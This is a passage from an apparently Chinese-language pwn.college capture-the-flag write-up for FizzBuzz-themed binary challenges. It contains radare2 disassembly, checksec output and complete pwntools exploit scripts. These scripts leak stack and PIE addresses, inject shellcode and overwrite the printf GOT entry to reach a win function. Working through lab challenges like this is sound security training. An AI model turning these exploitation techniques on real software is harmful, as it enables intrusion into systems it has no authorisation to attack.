    shellcode_addr = rbp_addr + 16  # ret 之后的地址

    # 构造完美内存布局
    payload = flat(
        {
            0: b"A" * 56,
            56: p32(16),  # var_14h 设为 16，循环自增变 17
            60: p64(src_addr),  # 修复 src
            68: p64(dest_addr),  # 修复 dest
            76: p64(rbp_addr),  # 填入原始 rbp
            84: p64(shellcode_addr),  # 劫持 ret
            92: asm(shellcraft.cat("/flag")),
        }
    )

    p.send(payload)
    p.interactive()


if __name__ == "__main__":
    exploit()

1. 利用 Buzz 泄露栈地址

1
2
3
4
5
# 推进到第 5 次循环 (var_14h == 5)
for i in range(6):
    p.recvuntil(f"{i}: ".encode())
    if i < 5:
        p.send(b"A")

程序内置了 FizzBuzz 逻辑。当 var_14h == 5 时，满足 % 5 == 0，触发 Buzz 分支。此时，二进制文件会将 src 指针指向 buf + 0x44（这里提前写入了 "Buzz"）。

1
2
payload_leak_stack = b"A" * 56 + b"\xff\xff\xff\xff"
p.send(payload_leak_stack)
  1. 填充 56 字节的 A，恰好抵达 var_14h。
  2. 用 \xff\xff\xff\xff (-1) 覆盖 var_14h。
  3. read() 函数不会自动补 \x00（Null byte），而 printf("You entered: %s") 遇到 \x00 才会停。
  4. 因为我们把 var_14h 变成了非零的 -1，printf 会顺着读下去，直接把紧贴在它后面的 src 指针（位于 rbp - 0x10）给打印出来！
  5. 同时，由于 -1 + 1 = 0，循环变量更新后变成了 0，满足 0 < 16，程序继续下一次循环，不会崩溃。

2. 利用 FizzBuzz 泄露程序基址

1
payload_leak_pie = b"A" * 56 + b"\xff\xff\xff\xff"

因为上一步把计数器改成了 -1，这一轮循环加一后 var_14h 变成了 0。 0 % 15 == 0，所以这一轮触发的是 FizzBuzz 分支。 此时，程序会将 src 指向只读数据段（.rodata）中的 "FizzBuzz\n" 字符串（地址为 PIE 偏移 0x4018）。

再次用 56 字节 + -1 覆盖，把此时的 src 指针打印出来。减去偏移 0x4018，就拿到了程序的真实基址（pie_base）

3. Code Execution

到了这一步，我们手里有栈的绝对地址（用来放 Shellcode），也有 PIE 基址。

1
2
3
dest_addr = rbp_addr - 0x200
src_addr = pie_base + 0x4018
shellcode_addr = rbp_addr + 16

你可能会问，既然可以直接覆盖 RIP，为什么还要搞这么复杂的 payload，修复 src 和 dest 回去看反汇编，在 printf 之后，程序执行了一个操作： call sym.imp.strcpy (把 src 复制到 dest)

如果只是用垃圾数据往后覆盖，把 src 和 dest 覆写成了无效地址（比如全 A），strcpy 就会触发 SIGSEGV (段错误)

  • 56: p32(16): 把循环计数器改成 16。等这一轮结束 16 + 1 = 17，不满足 < 16 的条件，程序会立刻跳出循环，执行 leave; ret。
  • 60: p64(src_addr): 填入刚泄露的有效可读地址（只读段的 "FizzBuzz"）。
  • 68: p64(dest_addr): 填入栈上一个远离我们 shellcode 的空闲区（rbp_addr - 0x200）
  • 76: p64(rbp_addr): 还原 RBP。
  • 84: p64(shellcode_addr): 将 Saved RIP 劫持为栈上的 Shellcode 地址。
  • 92: asm(...): 注入 shellcode。

pwn.college{********************************************}

Does It Buzz?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
hacker@program-security~does-it-buzz:~$ r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win" /challenge/does-it-buzz
┌ 507: sym.challenge (char **arg1, char **arg2, int64_t arg3);
│ `- args(rdi, rsi, rdx) vars(9:sp[0x10..0x90])
│           0x000013d0      f30f1efa       endbr64
│           0x000013d4      55             push rbp
│           0x000013d5      4889e5         mov rbp, rsp
│           0x000013d8      4881ec9000..   sub rsp, 0x90
│           0x000013df      897d8c         mov dword [var_74h], edi    ; arg1
│           0x000013e2      48897580       mov qword [var_80h], rsi    ; arg2
│           0x000013e6      48899578ff..   mov qword [var_88h], rdx    ; arg3
│           0x000013ed      64488b0425..   mov rax, qword fs:[0x28]
│           0x000013f6      488945f8       mov qword [canary], rax
│           0x000013fa      31c0           xor eax, eax
│           0x000013fc      488d5590       lea rdx, [buf]
│           0x00001400      b800000000     mov eax, 0
│           0x00001405      b90c000000     mov ecx, 0xc
│           0x0000140a      4889d7         mov rdi, rdx
│           0x0000140d      f348ab         rep stosq qword [rdi], rax
│           0x00001410      488d4590       lea rax, [buf]
│           0x00001414      4883c004       add rax, 4
│           0x00001418      488945e8       mov qword [dest], rax
│           0x0000141c      488d4590       lea rax, [buf]
│           0x00001420      4883c014       add rax, 0x14
│           0x00001424      488945e0       mov qword [src], rax
│           0x00001428      c745dc0000..   mov dword [var_24h], 0
│           0x0000142f      c745901000..   mov dword [buf], 0x10
│           0x00001436      488d4590       lea rax, [buf]
│           0x0000143a      4883c044       add rax, 0x44
│           0x0000143e      c70042757a7a   mov dword [rax], 0x7a7a7542 ; 'Buzz'
│                                                                      ; [0x7a7a7542:4]=-1
│           0x00001444      66c740040a00   mov word [rax + 4], 0xa
│           0x0000144a      488d3dbb0c..   lea rdi, str.Welcome_to_Fizz_Buzz_ ; 0x210c ; "Welcome to Fizz Buzz!" ; const char *s
│           0x00001451      e8eafcffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00001456      c745dc0000..   mov dword [var_24h], 0
│       ┌─< 0x0000145d      e944010000     jmp 0x15a6
│       │   ; CODE XREF from sym.challenge @ 0x15ae(x)
│      ┌──> 0x00001462      8b55dc         mov edx, dword [var_24h]
│      ╎│   0x00001465      4863c2         movsxd rax, edx
│      ╎│   0x00001468      4869c08988..   imul rax, rax, 0xffffffff88888889
│      ╎│   0x0000146f      48c1e820       shr rax, 0x20
│      ╎│   0x00001473      01d0           add eax, edx
│      ╎│   0x00001475      c1f803         sar eax, 3
│      ╎│   0x00001478      89c1           mov ecx, eax
│      ╎│   0x0000147a      89d0           mov eax, edx
│      ╎│   0x0000147c      c1f81f         sar eax, 0x1f
│      ╎│   0x0000147f      29c1           sub ecx, eax
│      ╎│   0x00001481      89c8           mov eax, ecx
│      ╎│   0x00001483      89c1           mov ecx, eax
│      ╎│   0x00001485      c1e104         shl ecx, 4
│      ╎│   0x00001488      29c1           sub ecx, eax
│      ╎│   0x0000148a      89d0           mov eax, edx
│      ╎│   0x0000148c      29c8           sub eax, ecx
│      ╎│   0x0000148e      85c0           test eax, eax
│     ┌───< 0x00001490      7510           jne 0x14a2
│     │╎│   0x00001492      488d05ff2b..   lea rax, obj.fuzzbuzz       ; 0x4098 ; "FizzBuzz\n"
│     │╎│   0x00001499      488945e0       mov qword [src], rax
│    ┌────< 0x0000149d      e980000000     jmp 0x1522
│    ││╎│   ; CODE XREF from sym.challenge @ 0x1490(x)
│    │└───> 0x000014a2      8b4ddc         mov ecx, dword [var_24h]
│    │ ╎│   0x000014a5      4863c1         movsxd rax, ecx
│    │ ╎│   0x000014a8      4869c05655..   imul rax, rax, 0x55555556
│    │ ╎│   0x000014af      48c1e820       shr rax, 0x20
│    │ ╎│   0x000014b3      4889c2         mov rdx, rax
│    │ ╎│   0x000014b6      89c8           mov eax, ecx
│    │ ╎│   0x000014b8      c1f81f         sar eax, 0x1f
│    │ ╎│   0x000014bb      89d6           mov esi, edx
│    │ ╎│   0x000014bd      29c6           sub esi, eax
│    │ ╎│   0x000014bf      89f0           mov eax, esi
│    │ ╎│   0x000014c1      89c2           mov edx, eax
│    │ ╎│   0x000014c3      01d2           add edx, edx
│    │ ╎│   0x000014c5      01c2           add edx, eax
│    │ ╎│   0x000014c7      89c8           mov eax, ecx
│    │ ╎│   0x000014c9      29d0           sub eax, edx
│    │ ╎│   0x000014cb      85c0           test eax, eax
│    │┌───< 0x000014cd      750d           jne 0x14dc
│    ││╎│   0x000014cf      488d05ba2b..   lea rax, obj.fizz           ; 0x4090 ; "Fizz\n"
│    ││╎│   0x000014d6      488945e0       mov qword [src], rax
│   ┌─────< 0x000014da      eb46           jmp 0x1522
│   │││╎│   ; CODE XREF from sym.challenge @ 0x14cd(x)
│   ││└───> 0x000014dc      8b4ddc         mov ecx, dword [var_24h]
│   ││ ╎│   0x000014df      4863c1         movsxd rax, ecx
│   ││ ╎│   0x000014e2      4869c06766..   imul rax, rax, 0x66666667
│   ││ ╎│   0x000014e9      48c1e820       shr rax, 0x20
│   ││ ╎│   0x000014ed      89c2           mov edx, eax
│   ││ ╎│   0x000014ef      d1fa           sar edx, 1
│   ││ ╎│   0x000014f1      89c8           mov eax, ecx
│   ││ ╎│   0x000014f3      c1f81f         sar eax, 0x1f
│   ││ ╎│   0x000014f6      29c2           sub edx, eax
│   ││ ╎│   0x000014f8      89d0           mov eax, edx
│   ││ ╎│   0x000014fa      89c2           mov edx, eax
│   ││ ╎│   0x000014fc      c1e202         shl edx, 2
│   ││ ╎│   0x000014ff      01c2           add edx, eax
│   ││ ╎│   0x00001501      89c8           mov eax, ecx
│   ││ ╎│   0x00001503      29d0           sub eax, edx
│   ││ ╎│   0x00001505      85c0           test eax, eax
│   ││┌───< 0x00001507      750e           jne 0x1517
│   │││╎│   0x00001509      488d4590       lea rax, [buf]
│   │││╎│   0x0000150d      4883c044       add rax, 0x44
│   │││╎│   0x00001511      488945e0       mov qword [src], rax
│  ┌──────< 0x00001515      eb0b           jmp 0x1522
│  ││││╎│   ; CODE XREF from sym.challenge @ 0x1507(x)
│  │││└───> 0x00001517      488d05822b..   lea rax, obj.nothing        ; 0x40a0 ; "\n"
│  │││ ╎│   0x0000151e      488945e0       mov qword [src], rax
│  │││ ╎│   ; CODE XREFS from sym.challenge @ 0x149d(x), 0x14da(x), 0x1515(x)
│  └└└────> 0x00001522      8b45dc         mov eax, dword [var_24h]
│      ╎│   0x00001525      89c6           mov esi, eax
│      ╎│   0x00001527      488d3df40b..   lea rdi, str._d:            ; 0x2122 ; "%d: " ; const char *format
│      ╎│   0x0000152e      b800000000     mov eax, 0
│      ╎│   0x00001533      e838fcffff     call sym.imp.printf         ; int printf(const char *format)
│      ╎│   0x00001538      488d4590       lea rax, [buf]
│      ╎│   0x0000153c      4883c014       add rax, 0x14
│      ╎│   0x00001540      ba50000000     mov edx, 0x50               ; 'P' ; size_t nbyte
│      ╎│   0x00001545      4889c6         mov rsi, rax                ; void *buf
│      ╎│   0x00001548      bf00000000     mov edi, 0                  ; int fildes
│      ╎│   0x0000154d      e83efcffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│      ╎│   0x00001552      488d4590       lea rax, [buf]
│      ╎│   0x00001556      4883c014       add rax, 0x14
│      ╎│   0x0000155a      4889c6         mov rsi, rax
│      ╎│   0x0000155d      488d3dc30b..   lea rdi, str.You_entered:__s_n ; 0x2127 ; "You entered: %s\n" ; const char *format
│      ╎│   0x00001564      b800000000     mov eax, 0
│      ╎│   0x00001569      e802fcffff     call sym.imp.printf         ; int printf(const char *format)
# 强制把输入的第一个字节变成了 \x00 (Null Byte)
│      ╎│   0x0000156e      c645a400       mov byte [var_5ch], 0
│      ╎│   0x00001572      488b55e0       mov rdx, qword [src]
│      ╎│   0x00001576      488b45e8       mov rax, qword [dest]
│      ╎│   0x0000157a      4889d6         mov rsi, rdx                ; const char *src
│      ╎│   0x0000157d      4889c7         mov rdi, rax                ; char *dest
│      ╎│   0x00001580      e8abfbffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src)
│      ╎│   0x00001585      488b45e8       mov rax, qword [dest]
│      ╎│   0x00001589      4889c6         mov rsi, rax
│      ╎│   0x0000158c      488d3da50b..   lea rdi, str.Correct_answer:__s_n ; 0x2138 ; "Correct answer: %s\n" ; const char *format
│      ╎│   0x00001593      b800000000     mov eax, 0
│      ╎│   0x00001598      e8d3fbffff     call sym.imp.printf         ; int printf(const char *format)
│      ╎│   0x0000159d      8b45dc         mov eax, dword [var_24h]
│      ╎│   0x000015a0      83c001         add eax, 1
│      ╎│   0x000015a3      8945dc         mov dword [var_24h], eax
│      ╎│   ; CODE XREF from sym.challenge @ 0x145d(x)
│      ╎└─> 0x000015a6      8b55dc         mov edx, dword [var_24h]
│      ╎    0x000015a9      8b4590         mov eax, dword [buf]
│      ╎    0x000015ac      39c2           cmp edx, eax
│      └──< 0x000015ae      0f8caefeffff   jl 0x1462
│           0x000015b4      90             nop
│           0x000015b5      488b75f8       mov rsi, qword [canary]
│           0x000015b9      6448333425..   xor rsi, qword fs:[0x28]
│       ┌─< 0x000015c2      7405           je 0x15c9
│       │   0x000015c4      e897fbffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       │   ; CODE XREF from sym.challenge @ 0x15c2(x)
│       └─> 0x000015c9      c9             leave
└           0x000015ca      c3             ret
┌ 263: sym.win ();
│           0x000012c9      f30f1efa       endbr64
│           0x000012cd      55             push rbp
│           0x000012ce      4889e5         mov rbp, rsp
│           0x000012d1      488d3d300d..   lea rdi, str.You_win__Here_is_your_flag: ; 0x2008 ; "You win! Here is your flag:" ; const char *s
│           0x000012d8      e863feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000012dd      be00000000     mov esi, 0                  ; int oflag
│           0x000012e2      488d3d3b0d..   lea rdi, str._flag          ; 0x2024 ; "/flag" ; const char *path
│           0x000012e9      b800000000     mov eax, 0
│           0x000012ee      e8bdfeffff     call sym.imp.open           ; int open(const char *path, int oflag)
│           0x000012f3      8905e72d0000   mov dword [obj.flag_fd.5698], eax ; [0x40e0:4]=0
│           0x000012f9      8b05e12d0000   mov eax, dword [obj.flag_fd.5698] ; [0x40e0:4]=0
│           0x000012ff      85c0           test eax, eax
│       ┌─< 0x00001301      794d           jns 0x1350
│       │   0x00001303      e818feffff     call sym.imp.__errno_location
│       │   0x00001308      8b00           mov eax, dword [rax]
│       │   0x0000130a      89c7           mov edi, eax                ; int errnum
│       │   0x0000130c      e8bffeffff     call sym.imp.strerror       ; char *strerror(int errnum)
│       │   0x00001311      4889c6         mov rsi, rax
│       │   0x00001314      488d3d150d..   lea rdi, str._n__ERROR:_Failed_to_open_the_flag_____s__n ; 0x2030 ; "\n  ERROR: Failed to open the flag -- %s!\n" ; const char *format
│       │   0x0000131b      b800000000     mov eax, 0
│       │   0x00001320      e84bfeffff     call sym.imp.printf         ; int printf(const char *format)
│       │   0x00001325      e856feffff     call sym.imp.geteuid        ; uid_t geteuid(void)
│       │   0x0000132a      85c0           test eax, eax
│      ┌──< 0x0000132c      7418           je 0x1346
│      ││   0x0000132e      488d3d2b0d..   lea rdi, str.__Your_effective_user_id_is_not_0_ ; 0x2060 ; "  Your effective user id is not 0!" ; const char *s
│      ││   0x00001335      e806feffff     call sym.imp.puts           ; int puts(const char *s)
│      ││   0x0000133a      488d3d470d..   lea rdi, str.__You_must_directly_run_the_suid_binary_in_order_to_have_the_correct_permissions_ ; 0x2088 ; "  You must directly run the suid binary in order to have the correct permissions!" ; const char *s
│      ││   0x00001341      e8fafdffff     call sym.imp.puts           ; int puts(const char *s)
│      ││   ; CODE XREF from sym.win @ 0x132c(x)
│      └──> 0x00001346      bfffffffff     mov edi, 0xffffffff         ; -1 ; int status
│       │   0x0000134b      e870feffff     call sym.imp.exit           ; void exit(int status)
│       │   ; CODE XREF from sym.win @ 0x1301(x)
│       └─> 0x00001350      8b058a2d0000   mov eax, dword [obj.flag_fd.5698] ; [0x40e0:4]=0
│           0x00001356      ba00010000     mov edx, 0x100              ; size_t nbyte
│           0x0000135b      488d359e2d..   lea rsi, obj.flag.5697      ; 0x4100 ; void *buf
│           0x00001362      89c7           mov edi, eax                ; int fildes
│           0x00001364      e827feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x00001369      8905912e0000   mov dword [obj.flag_length.5699], eax ; [0x4200:4]=0
│           0x0000136f      8b058b2e0000   mov eax, dword [obj.flag_length.5699] ; [0x4200:4]=0
│           0x00001375      85c0           test eax, eax
│       ┌─< 0x00001377      7f2c           jg 0x13a5
│       │   0x00001379      e8a2fdffff     call sym.imp.__errno_location
│       │   0x0000137e      8b00           mov eax, dword [rax]
│       │   0x00001380      89c7           mov edi, eax                ; int errnum
│       │   0x00001382      e849feffff     call sym.imp.strerror       ; char *strerror(int errnum)
│       │   0x00001387      4889c6         mov rsi, rax
│       │   0x0000138a      488d3d4f0d..   lea rdi, str._n__ERROR:_Failed_to_read_the_flag_____s__n ; 0x20e0 ; "\n  ERROR: Failed to read the flag -- %s!\n" ; const char *format
│       │   0x00001391      b800000000     mov eax, 0
│       │   0x00001396      e8d5fdffff     call sym.imp.printf         ; int printf(const char *format)
│       │   0x0000139b      bfffffffff     mov edi, 0xffffffff         ; -1 ; int status
│       │   0x000013a0      e81bfeffff     call sym.imp.exit           ; void exit(int status)
│       │   ; CODE XREF from sym.win @ 0x1377(x)
│       └─> 0x000013a5      8b05552e0000   mov eax, dword [obj.flag_length.5699] ; [0x4200:4]=0
│           0x000013ab      4898           cdqe
│           0x000013ad      4889c2         mov rdx, rax                ; size_t nbytes
│           0x000013b0      488d35492d..   lea rsi, obj.flag.5697      ; 0x4100 ; const char *ptr
│           0x000013b7      bf01000000     mov edi, 1                  ; int fd
│           0x000013bc      e88ffdffff     call sym.imp.write          ; ssize_t write(int fd, const char *ptr, size_t nbytes)
│           0x000013c1      488d3d420d..   lea rdi, [0x0000210a]       ; "\n" ; const char *s
│           0x000013c8      e873fdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000013cd      90             nop
│           0x000013ce      5d             pop rbp
└           0x000013cf      c3             ret

仔细看汇编里的栈分配和 read() 调用：

  • 0x000013d8 sub rsp, 0x90：开辟了 144 字节空间。
  • canary 位于 rbp - 0x8。
  • var_24h (循环计数器) 位于 rbp - 0x24。
  • src 指针位于 rbp - 0x20。
  • dest 指针位于 rbp - 0x18。
  • read() 的输入起点在 buf + 0x14，通过计算可以得出它位于 rbp - 0x5c。

最关键的变化在 read() 的参数：

1
0x00001540  mov edx, 0x50  ; size_t nbyte = 80

现在的缓冲区溢出最多只能写 80 个字节。 buffer address (rbp - 0x5c) 到 Canary (rbp - 0x8) 的距离是 0x5c - 0x8 = 0x54 (84 字节)。

最多只能写到 rbp - 0xc。

既然碰不到返回地址 (rbp + 0x8)，我们怎么劫持控制流？破局点在于覆盖的局部变量： 距离起点 60 字节的地方是 src，68 字节的地方是 dest。这两个指针完全在 80 字节范围内。

1
2
3
4
5
6
7
8
9
10
hacker@program-security~does-it-buzz:~$ checksec /challenge/does-it-buzz
[*] '/challenge/does-it-buzz'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
  • SHSTK: Enabled (Hardware Shadow Stack / 硬件影子栈)
  • IBT: Enabled (Indirect Branch Tracking / 间接分支追踪)

当我们用 strcpy 把后门地址写进 saved_rip 后，函数走到最后执行 ret 指令。 现代系统里，CPU 内部维护了一个只有硬件能访问的影子栈 (Shadow Stack)。当你执行 call 时，返回地址会同时压入普通栈和影子栈；当你执行 ret 时，CPU 会把普通栈上的地址和影子栈里的地址做对比。对比失败 CPU 硬件直接抛出 Control Protection Exception (#CP)

  • RELRO: Partial RELRO

Partial RELRO 意味着全局偏移表 (GOT) 是可写的 看一下 strcpy 之后程序干了什么：

1
2
3
4
5
0x00001580      call sym.imp.strcpy        ; 我们控制的任意写入
0x00001585      mov rax, qword [dest]
0x00001589      mov rsi, rax
0x0000158c      lea rdi, str.Correct_answer:__s_n
0x00001598      call sym.imp.printf        ; 调用了 printf

如果我们在 strcpy 的时候，把目标地址 (dest) 设置为 printf 的 GOT 表地址，把写入内容设为 sym.win，那么下一条指令 call printf 就会直接跳进 win 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"

def exploit():
    elf = ELF("/challenge/does-it-buzz")
    p = process(elf.path)

    # 推进到第 5 次循环 (var_24h == 5)
    for i in range(6):
        p.recvuntil(f"{i}: ".encode())
        if i < 5:
            p.send(b"A")

    # --- 阶段一：Stack Leak ---
    payload_leak_stack = b"A" * 56 + b"\xff\xff\xff\xff"
    p.send(payload_leak_stack)
    p.recvuntil(b"You entered: " + payload_leak_stack)
    stack_leak = u64(p.recv(6).ljust(8, b"\x00"))

    buf_addr = stack_leak - 0x44
    log.info(f"[+] Stack Leaked! buf address: {hex(buf_addr)}")

    # --- 阶段二：PIE Leak ---
    p.recvuntil(b"0: ")
    payload_leak_pie = b"A" * 56 + b"\xff\xff\xff\xff"
    p.send(payload_leak_pie)
    p.recvuntil(b"You entered: " + payload_leak_pie)
    pie_leak = u64(p.recv(6).ljust(8, b"\x00"))

    pie_base = pie_leak - 0x4098
    elf.address = pie_base  # 直接更新 ELF 基址，让 pwntools 算偏移
    log.info(f"[+] PIE Leaked! base address: {hex(pie_base)}")

    # --- 阶段三： GOT 劫持 ---
    p.recvuntil(b"0: ")

    sym_win = elf.sym['win']         # 直接读取后门函数地址
    printf_got = elf.got['printf']   # 直接读取 printf 的 GOT 表地址
    src_addr = buf_addr + 0x15       # 错位一个字节，躲避强制清零机制

    payload = b"X" + p64(sym_win)      # X 会被清零()，保留完整的 p64 地址
    payload = payload.ljust(56, b"A")  # Padding
    payload += p32(16)                 # 56: var_24h
    payload += p64(src_addr)           # 60: 劫持 src
    payload += p64(printf_got)         # 68: 劫持 dest 指向 GOT 表！

    p.send(payload)
    p.interactive()

if __name__ == "__main__":
    exploit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
hacker@program-security~does-it-buzz:~$ python a.py
[*] '/challenge/does-it-buzz'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Starting local process '/challenge/does-it-buzz': pid 209
[*] [+] Stack Leaked! buf address: 0x7fff4b678610
[*] [+] PIE Leaked! base address: 0x596805058000
[*] Switching to interactive mode
[*] Process '/challenge/does-it-buzz' stopped with exit code 0 (pid 209)
You entered: Xɒ\x05\x05hY
You win! Here is your flag:
pwn.college{*********************************************}


### Goodbye!
[*] Got EOF while reading in interactive
$

Make It FizzBuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
hacker@program-security~make-it-fizzbuzz:~$ r2 -A -q -c "pdf @ sym.challenge" /challenge/make-it-fizbuzz
┌ 545: sym.challenge (char **arg1, char **arg2, int64_t arg3);
│ `- args(rdi, rsi, rdx) vars(14:sp[0x10..0x70])
│           0x000012d4      f30f1efa       endbr64
│           0x000012d8      55             push rbp
│           0x000012d9      4889e5         mov rbp, rsp
│           0x000012dc      4883ec70       sub rsp, 0x70
│           0x000012e0      897dac         mov dword [var_54h], edi    ; arg1
│           0x000012e3      488975a0       mov qword [var_60h], rsi    ; arg2
│           0x000012e7      48895598       mov qword [var_68h], rdx    ; arg3
│           0x000012eb      64488b0425..   mov rax, qword fs:[0x28]
│           0x000012f4      488945f8       mov qword [canary], rax
│           0x000012f8      31c0           xor eax, eax
│           0x000012fa      48c745b000..   mov qword [buf], 0
│           0x00001302      48c745b800..   mov qword [var_48h], 0
│           0x0000130a      48c745c000..   mov qword [var_40h], 0
│           0x00001312      48c745c800..   mov qword [var_38h], 0
│           0x0000131a      48c745d000..   mov qword [var_30h], 0
│           0x00001322      48c745d800..   mov qword [var_28h], 0
│           0x0000132a      48c745e000..   mov qword [src], 0
│           0x00001332      48c745e800..   mov qword [dest], 0
│           0x0000133a      488d45b0       lea rax, [buf]
│           0x0000133e      4883c004       add rax, 4
│           0x00001342      488945e8       mov qword [dest], rax
│           0x00001346      488d45b0       lea rax, [buf]
│           0x0000134a      4883c014       add rax, 0x14
│           0x0000134e      488945e0       mov qword [src], rax
│           0x00001352      c745dc0000..   mov dword [var_24h], 0
│           0x00001359      c745b01000..   mov dword [buf], 0x10
│           0x00001360      488d45b0       lea rax, [buf]
│           0x00001364      4883c024       add rax, 0x24
│           0x00001368      c70042757a7a   mov dword [rax], 0x7a7a7542 ; 'Buzz'
│                                                                      ; [0x7a7a7542:4]=-1
│           0x0000136e      66c740040a00   mov word [rax + 4], 0xa
│           0x00001374      488d3d920c..   lea rdi, str.Welcome_to_Fizz_Buzz_ ; 0x200d ; "Welcome to Fizz Buzz!" ; const char *s
│           0x0000137b      e880fdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00001380      c745dc0000..   mov dword [var_24h], 0
│       ┌─< 0x00001387      e944010000     jmp 0x14d0
│       │   ; CODE XREF from sym.challenge @ 0x14d8(x)
│      ┌──> 0x0000138c      8b55dc         mov edx, dword [var_24h]
│      ╎│   0x0000138f      4863c2         movsxd rax, edx
│      ╎│   0x00001392      4869c08988..   imul rax, rax, 0xffffffff88888889
│      ╎│   0x00001399      48c1e820       shr rax, 0x20
│      ╎│   0x0000139d      01d0           add eax, edx
│      ╎│   0x0000139f      c1f803         sar eax, 3
│      ╎│   0x000013a2      89c1           mov ecx, eax
│      ╎│   0x000013a4      89d0           mov eax, edx
│      ╎│   0x000013a6      c1f81f         sar eax, 0x1f
│      ╎│   0x000013a9      29c1           sub ecx, eax
│      ╎│   0x000013ab      89c8           mov eax, ecx
│      ╎│   0x000013ad      89c1           mov ecx, eax
│      ╎│   0x000013af      c1e104         shl ecx, 4
│      ╎│   0x000013b2      29c1           sub ecx, eax
│      ╎│   0x000013b4      89d0           mov eax, edx
│      ╎│   0x000013b6      29c8           sub eax, ecx
│      ╎│   0x000013b8      85c0           test eax, eax
│     ┌───< 0x000013ba      7510           jne 0x13cc
│     │╎│   0x000013bc      488d05bd2c..   lea rax, obj.fuzzbuzz       ; 0x4080 ; "FizzBuzz\n"
│     │╎│   0x000013c3      488945e0       mov qword [src], rax
│    ┌────< 0x000013c7      e980000000     jmp 0x144c
│    ││╎│   ; CODE XREF from sym.challenge @ 0x13ba(x)
│    │└───> 0x000013cc      8b4ddc         mov ecx, dword [var_24h]
│    │ ╎│   0x000013cf      4863c1         movsxd rax, ecx
│    │ ╎│   0x000013d2      4869c05655..   imul rax, rax, 0x55555556
│    │ ╎│   0x000013d9      48c1e820       shr rax, 0x20
│    │ ╎│   0x000013dd      4889c2         mov rdx, rax
│    │ ╎│   0x000013e0      89c8           mov eax, ecx
│    │ ╎│   0x000013e2      c1f81f         sar eax, 0x1f
│    │ ╎│   0x000013e5      89d6           mov esi, edx
│    │ ╎│   0x000013e7      29c6           sub esi, eax
│    │ ╎│   0x000013e9      89f0           mov eax, esi
│    │ ╎│   0x000013eb      89c2           mov edx, eax
│    │ ╎│   0x000013ed      01d2           add edx, edx
│    │ ╎│   0x000013ef      01c2           add edx, eax
│    │ ╎│   0x000013f1      89c8           mov eax, ecx
│    │ ╎│   0x000013f3      29d0           sub eax, edx
│    │ ╎│   0x000013f5      85c0           test eax, eax
│    │┌───< 0x000013f7      750d           jne 0x1406
│    ││╎│   0x000013f9      488d05782c..   lea rax, obj.fizz           ; 0x4078 ; "Fizz\n"
│    ││╎│   0x00001400      488945e0       mov qword [src], rax
│   ┌─────< 0x00001404      eb46           jmp 0x144c
│   │││╎│   ; CODE XREF from sym.challenge @ 0x13f7(x)
│   ││└───> 0x00001406      8b4ddc         mov ecx, dword [var_24h]
│   ││ ╎│   0x00001409      4863c1         movsxd rax, ecx
│   ││ ╎│   0x0000140c      4869c06766..   imul rax, rax, 0x66666667
│   ││ ╎│   0x00001413      48c1e820       shr rax, 0x20
│   ││ ╎│   0x00001417      89c2           mov edx, eax
│   ││ ╎│   0x00001419      d1fa           sar edx, 1
│   ││ ╎│   0x0000141b      89c8           mov eax, ecx
│   ││ ╎│   0x0000141d      c1f81f         sar eax, 0x1f
│   ││ ╎│   0x00001420      29c2           sub edx, eax
│   ││ ╎│   0x00001422      89d0           mov eax, edx
│   ││ ╎│   0x00001424      89c2           mov edx, eax
│   ││ ╎│   0x00001426      c1e202         shl edx, 2
│   ││ ╎│   0x00001429      01c2           add edx, eax
│   ││ ╎│   0x0000142b      89c8           mov eax, ecx
│   ││ ╎│   0x0000142d      29d0           sub eax, edx
│   ││ ╎│   0x0000142f      85c0           test eax, eax
│   ││┌───< 0x00001431      750e           jne 0x1441
│   │││╎│   0x00001433      488d45b0       lea rax, [buf]
│   │││╎│   0x00001437      4883c024       add rax, 0x24
│   │││╎│   0x0000143b      488945e0       mov qword [src], rax
│  ┌──────< 0x0000143f      eb0b           jmp 0x144c
